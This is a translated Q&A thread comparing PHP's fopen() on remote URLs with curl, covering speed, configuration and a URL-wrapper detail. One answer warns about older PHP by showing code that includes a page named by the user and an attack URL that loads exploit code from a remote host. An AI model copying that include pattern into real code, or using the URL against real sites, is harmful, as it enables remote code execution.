PHP中使用fopen($ url)和curl有什么重要区别?

时间:2009-03-11 22:51:28

标签: php web-services http curl

我正在编写一些需要通过HTTP与Web服务通信的代码。在过去,我使用过curl库。最近,我注意到我可以简单地使用fopen()来访问远程URL,这似乎更简单。

Curl似乎更具可配置性,拥有众多选项。除了可配置性之外,使用哪种方法是否重要?如果是这样,哪个更好,为什么?

3 个答案:

答案 0 :(得分:15)

正如Alnitak所说,使用CURL并不依赖于PHP设置。 我做了一些速度测试

file_get_contents

与我的

function file_get_contents_curl($url) {
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, $url);

    $data = curl_exec($ch);
    curl_close($ch);

    return $data;
}

结果:

0.263456821442
0.0626730918884

CURL快4倍:)

答案 1 :(得分:14)

fopen()只会在allow_fopen_url启用php.ini时打开远程网址。

然而,在5.2.0之前的版本中,这非常危险,因为include功能还会从远程站点下载并解析 PHP代码。一个天真的编码器很容易被代码抓住:

<?php
    $page = $_GET['page'];
    include($page);
?>

此时攻击者只需要http://example.com/script.php?page=http://example.net/my_exploit_script在系统上执行自己的代码并引入漏洞。不幸的是,allow_fopen_url的默认值是'on'。

幸运的是,自5.2.0以来,有一个单独的设置( 默认为'off'),名为allow_url_include,阻止include下载远程代码。

就个人而言,如果您可以选择使用Curl,请使用而不是fopen

答案 2 :(得分:5)

旁注:PHP可以配置为使用curl作为http url_wrapper,而不是使用“自己的”实现。

转/卷曲/ interface.c:

#ifdef PHP_CURL_URL_WRAPPERS
# if HAVE_CURL_VERSION_INFO
    {
        curl_version_info_data *info = curl_version_info(CURLVERSION_NOW);
        char **p = (char **)info->protocols;

        while (*p != NULL) {
            php_register_url_stream_wrapper(*p++, &php_curl_wrapper TSRMLS_CC);
        }
    }
# else
    php_register_url_stream_wrapper("http", &php_curl_wrapper TSRMLS_CC);
    php_register_url_stream_wrapper("https", &php_curl_wrapper TSRMLS_CC);
    php_register_url_stream_wrapper("ftp", &php_curl_wrapper TSRMLS_CC);
    php_register_url_stream_wrapper("ldap", &php_curl_wrapper TSRMLS_CC);
# endif
#endif